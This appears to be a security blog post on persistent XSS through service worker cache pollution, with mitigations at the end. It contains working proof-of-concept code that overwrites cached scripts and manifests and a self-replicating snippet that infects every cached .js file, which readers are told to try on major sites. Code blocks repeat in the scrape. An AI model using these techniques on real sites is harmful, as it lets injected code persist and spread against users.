SW Cache Pollution: Potential Target for XSS Attacks

Background

The Service Worker specification introduces a powerful worker to better control network requests. Service workers can intercept fetch events and decide what to respond with. The specification also includes a Caches API for websites to store response cache. Site owners can easily benefit from the two new APIs that boost page load speed and optimize user experience since service workers can serve static resources or even the initial document request.

Nonetheless, Caches API is somewhat fragile and vulnerable to XSS attacks. It can be harnessed by malicious code to pollute caches, which may enable XSS to survive page reloading or deletion from backend databases and lead to persistent threats to users. We will demonstrate several possible cases in the following article. Fortunately, the specification is relatively new and still in the Candidate Recommendation stage; top websites are still making careful progress in shipping caches to production. We have time to figure out ways to counteract.

Details

The exploitable part in the spec locates at § 5.4. Cache, stated by the following description.

§ 5.4. Cache

[SecureContext,Exposed=(Window,Worker)]
interface Cache {
  [NewObject] Promise<any>match(RequestInforequest, optionalCacheQueryOptionsoptions = {});
  [NewObject] Promise<FrozenArray<Response>>matchAll(optionalRequestInforequest, optionalCacheQueryOptionsoptions = {});
  [NewObject] Promise<void>add(RequestInforequest);
  [NewObject] Promise<void>addAll(sequence<RequestInfo>requests);
  [NewObject] Promise<void>put(RequestInforequest,Responseresponse);
  [NewObject] Promise<boolean>delete(RequestInforequest, optionalCacheQueryOptionsoptions = {});
  [NewObject] Promise<FrozenArray<Request>>keys(optionalRequestInforequest, optionalCacheQueryOptionsoptions = {});
};
[SecureContext,Exposed=(Window,Worker)]
interface Cache {
  [NewObject] Promise<any>match(RequestInforequest, optionalCacheQueryOptionsoptions = {});
  [NewObject] Promise<FrozenArray<Response>>matchAll(optionalRequestInforequest, optionalCacheQueryOptionsoptions = {});
  [NewObject] Promise<void>add(RequestInforequest);
  [NewObject] Promise<void>addAll(sequence<RequestInfo>requests);
  [NewObject] Promise<void>put(RequestInforequest,Responseresponse);
  [NewObject] Promise<boolean>delete(RequestInforequest, optionalCacheQueryOptionsoptions = {});
  [NewObject] Promise<FrozenArray<Request>>keys(optionalRequestInforequest, optionalCacheQueryOptionsoptions = {});
};

Cache object represents a request response list. Multiple separate objects implementing the Cache interface across documents and workers can all be associated with the same request response list simultaneously.

As every document can access and operate the cache object, which stores the same content as the service worker, it’s possible for a malicious script to write contents into caches. Because there is no mechanism to verify the caches are valid and secure server response, they can then be served as trusted ones by innocent service workers.

Exploitation Cases

To begin with, we can write a simple victim service worker that serves static resources of all kinds from caches. Here is a code snippet from MDN illustrating basic usage of CacheStorage API.

self.addEventListener('install', function (event) {
  event.waitUntil(
    caches.open('v1').then(function (cache) {
      return cache.addAll([
        '/sw-test/',
        '/sw-test/index.html',
        '/sw-test/style.css',
        '/sw-test/app.js',
        '/sw-test/image-list.js',
        '/sw-test/star-wars-logo.jpg',
        '/sw-test/gallery/bountyHunters.jpg',
        '/sw-test/gallery/myLittleVader.jpg',
        '/sw-test/gallery/snowTroopers.jpg',
      ])
    }),
  )
})
 
self.addEventListener('fetch', function (event) {
  event.respondWith(
    caches.match(event.request).then(function (response) {
      // caches.match() always resolves
      // but in case of success response will have value
      if (response !== undefined) {
        return response
      } else {
        return fetch(event.request)
          .then(function (response) {
            // response may be used only once
            // we need to save clone to put one copy in cache
            // and serve second one
            let responseClone = response.clone()
 
            caches.open('v1').then(function (cache) {
              cache.put(event.request, responseClone)
            })
            return response
          })
          .catch(function () {
            return caches.match('/sw-test/gallery/myLittleVader.jpg')
          })
      }
    }),
  )
})
self.addEventListener('install', function (event) {
  event.waitUntil(
    caches.open('v1').then(function (cache) {
      return cache.addAll([
        '/sw-test/',
        '/sw-test/index.html',
        '/sw-test/style.css',
        '/sw-test/app.js',
        '/sw-test/image-list.js',
        '/sw-test/star-wars-logo.jpg',
        '/sw-test/gallery/bountyHunters.jpg',
        '/sw-test/gallery/myLittleVader.jpg',
        '/sw-test/gallery/snowTroopers.jpg',
      ])
    }),
  )
})
 
self.addEventListener('fetch', function (event) {
  event.respondWith(
    caches.match(event.request).then(function (response) {
      // caches.match() always resolves
      // but in case of success response will have value
      if (response !== undefined) {
        return response
      } else {
        return fetch(event.request)
          .then(function (response) {
            // response may be used only once
            // we need to save clone to put one copy in cache
            // and serve second one
            let responseClone = response.clone()
 
            caches.open('v1').then(function (cache) {
              cache.put(event.request, responseClone)
            })
            return response
          })
          .catch(function () {
            return caches.match('/sw-test/gallery/myLittleVader.jpg')
          })
      }
    }),
  )
})

The service worker functions as follows:

  • Cache specific routes
  • When the site initiates a network request
    • Check if the URL is cached, return the cached result
    • Otherwise, fetch from the network and save to caches

Overwrite static resources

Static resources bear the brunt of cache pollution. Malicious scripts can not only change the contents of stylesheets or API responses, but also write arbitrary code to static Javascript resources in CacheStorage simply by constructing a Response object.

const c = await caches.open('cache-name')
c.put('index.js', new Response('alert(1)'))
const c = await caches.open('cache-name')
c.put('index.js', new Response('alert(1)'))

Overriding unexpected files

Scripts may as well control other resources beyond our expectations.

Content Security Policy Bypassing

Content Security Policy Level 3 specifies two methods CSP can be delivered to clients, as described in § 3. Policy Delivery. A server can enable CSP via some specific HTTP header or HTML document with an extra meta tag.

A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in § 3.1 The Content-Security-Policy HTTP Response Header Field and § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch and HTML is described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.

policy may also be declared inline in an HTML document via a meta element’s http-equiv attribute, as described in § 3.3 The <meta> element.

While on the other hand, service workers can respond to the initial request of the document as a part of the HTTP fetch process according to the Fetch standard, which is intended to provide offline availability.

This implies the initial document can also be overwritten, removing CSP headers and the meta tag and opening a door for other types of XSS attacks. The attacker will fully control the site content and that sounds scaring.

Web Application Manifest Overwriting

Web manifest is registered via a link tag and can be cached and poisoned.

c.put('app.webmanifest', new Response('{...}', {}))
c.put('app.webmanifest', new Response('{...}', {}))

Some fields in the manifest can be overridden to mislead users:

  • start_url member
    • urls like /login?next= or /redirect?to= to redirect to external
  • related_applications and prefer_related_applications member
    • install and launch spoofing apps

Long Term Threats

What jeopardizes the users most is the persistence of cache pollution, and it’s even worse because polluted cached scripts can further repeat the process of overwriting script caches. Attackers can now focus on prolonged attacks such as collecting user behavior or crypto mining.

;(function rp() {
  !globalThis.__MAL__ &&
    // insert into caches only once, but we can set timers to check repeatedly
    // to replicate into new caches or prevent being overwritten by SW
    (caches.keys().then((c) =>
      c.map((s) =>
        caches.open(s).then((s) =>
          s.keys().then((k) =>
            k
              .filter((r) => r.url.endsWith('.js'))
              .map(
                (k) =>
                  s
                    .match(k.url)
                    .then((r) => r.text())
                    .then((t) => s.put(k.url, new Response(`(${rp})();${t}`))), // self replication
              ),
          ),
        ),
      ),
    ),
    (globalThis.__MAL__ = true),
    alert('hello from cache'))
})()
;(function rp() {
  !globalThis.__MAL__ &&
    // insert into caches only once, but we can set timers to check repeatedly
    // to replicate into new caches or prevent being overwritten by SW
    (caches.keys().then((c) =>
      c.map((s) =>
        caches.open(s).then((s) =>
          s.keys().then((k) =>
            k
              .filter((r) => r.url.endsWith('.js'))
              .map(
                (k) =>
                  s
                    .match(k.url)
                    .then((r) => r.text())
                    .then((t) => s.put(k.url, new Response(`(${rp})();${t}`))), // self replication
              ),
          ),
        ),
      ),
    ),
    (globalThis.__MAL__ = true),
    alert('hello from cache'))
})()

The code snippet automatically finds out script resources in the cache storage and replicates itself. Try running it using devtools on YouTube or Twitter, and refresh the page. An alert will be displayed each time the page reloads unless ALL JavaScript caches are cleared or invalidated simultaneously by the service worker.

Mitigation

However, we still have ways to mitigate such pollution:

  • Check response.type before answering, a Response object created by JS is different from normal request Response
  • Validate cache integration, which may require some extra work
  • Set cache to expire after a certain period of time, so they won’t last forever

Related Specifications

Service Worker 1: https://www.w3.org/TR/service-workers/

Web Application Manifest: https://www.w3.org/TR/appmanifest/

Web Workers: https://www.w3.org/TR/workers/

Content Security Policy Level 3: https://www.w3.org/TR/CSP3/

Fetch: https://fetch.spec.whatwg.org/

Loading New Comments...